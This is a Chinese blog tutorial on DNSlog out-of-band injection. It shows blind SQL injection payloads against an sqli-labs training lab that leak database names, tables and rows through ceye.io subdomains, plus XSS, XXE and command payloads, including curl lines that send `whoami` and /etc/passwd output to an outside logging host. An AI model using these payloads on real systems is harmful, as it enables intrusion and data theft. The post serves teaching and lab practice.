DNSlog注入

0x01 什么是DNSlog注入

DNSlog注入,也叫DNS带外查询,它是属于带外通信的一种(Out of Band,简称OOB)。

寻常的注入基本都是在同一个信道上面的,比如正常的get注入,先在url上插入payload做HTTP请求,然后得到HTTP返回包,没有涉及其他信道。而所谓的带外通信,至少涉及两个信道

信道:在计算机中指通信的通道,是信号传输的媒介。

0x02 DNS注入原理

  1. 攻击者先向web服务器提交payload语句,比如(select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))

  2. 其中的攻击语句被放到数据库中会被执行,生成的结果与后面的.XXX.ceye.io\\abc构成一个新的域名

  3. 这时load_file()就可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

  4. 此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

    当然还有其他可以使用的DNSlog平台,如http://www.dnslog.cn/。

    这里我就使用http://ceye.io, 它是一个免费的记录dnslog的平台,注册后到Profile页面会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。

    image-20220410183310635

0x03 使用场景和条件

sql的布尔型盲注、时间注入的效率普遍很低且当注入的线程太大容易被waf拦截,并且像一些命令执行,xss以及sql注入攻击有时无法看到回显结果,这时就可以考虑DNSlog注入攻击

一共是这四个场景:

  1. SQL盲注
  2. 命令执行(无回显)
  3. XSS(无回显)
  4. SSRF(无回显)

但有个重要条件:load_file()函数可以使用。

也就是说需要配置文件my.ini中secure_file_priv=

image-20220410182005256

secure_file_priv配置说明

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

在mysql命令行中使用show variables like '%secure%'; 可以查看secure_file_priv的情况

image-20220410212338598

值为空,说明可以使用load_file()函数

另外还有几个注意事项:

  • dnslog注入只能用于windows平台,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。

  • 在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况。

  • 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

以下内容摘自百度:

什么是UNC路径?

UNC(Universal Naming Convention),通用命名规则

什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径。

UNC为网络(主要指局域网)上资源的完整Windows 2000名称。

格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

0x04 配合sql注入

这里我以sqlilabs靶场的lesson-8为例,是sql盲注,注入后不会有回显,那就用刚学的DNSlog来解决!!

  • 首先报库名:

payload1:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))--+

说明:

concat 可以拼接字符
load_file()读取文件
\\\\  有两个\用于转义,转义后代表\\

image-20220410184649040

在自己的ceye.io平台上查看DNSquery,发现解析记录,可以看到数据库名security

image-20220410185033571

  • 再报表名

payload2:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+

可以看到一个emails表

image-20220410185729538

  • 再报列名

payload3:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+

payload4:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+

分别看到两个列

image-20220410190627252

  • 报数据:

因为在load_file里面不能使用@ ~等符号,所以要区分数据我们可以先用concat_ws()函数分割,再用hex()函数转成十六进制即可

得到结果再转回去

payload5:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select hex(concat_ws('~',id,email_id)) from emails limit 0,1),'.xxx.ceye.io\\abc'))--+

image-20220410191656744

以上就是DNSlog注入的全部流程

注入期间我发现,可以将多个payload查询拼接在一起,比如如下注入方法:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.',(select version()),'.xxx.ceye.io\\abc'))--+

效果如下:

image-20220410231848105

通式:

http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(payload1),'.',(payload2),(......),'.xxx.ceye.io\\abc'))--+

0x05 配合其他攻击

  • xss

除了SQL注入,DNSlog注入还可以配合其他漏洞使用,比如xss

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:><img src=http://xss.xxx.ceye.io/aaa>让src来请求我们的dnslog的平台

  • 命令执行

说到命令执行,这里就要分windows平台和linux平台

  1. 在windows平台,利用ping命令,有如下payload
ping %COMPUTERNAME%.xxx.ceye.io
或者
ping %USERNAME%.xxx.ceye.io

执行成功,可以在dns平台上看到主机名或用户名

  1. 在linux平台,利用curl命令,有如下payload
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxx.ceye.io/`cat /etc/passwd`

反引号中可以写入各种linux命令

  • SSRF

payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/xxe_test">
%remote;]>
<root/>

其实也算是和XXE配合使用

以上这些payload都可以在http://ceye.io/payloads中看到

参考文章:

https://www.cnblogs.com/xhds/p/12322839.html

https://www.cnblogs.com/Xiaoming0/p/13966667.html

posted @ 2022-04-10 23:22  jackie_le  阅读(2443)  评论(0编辑  收藏  举报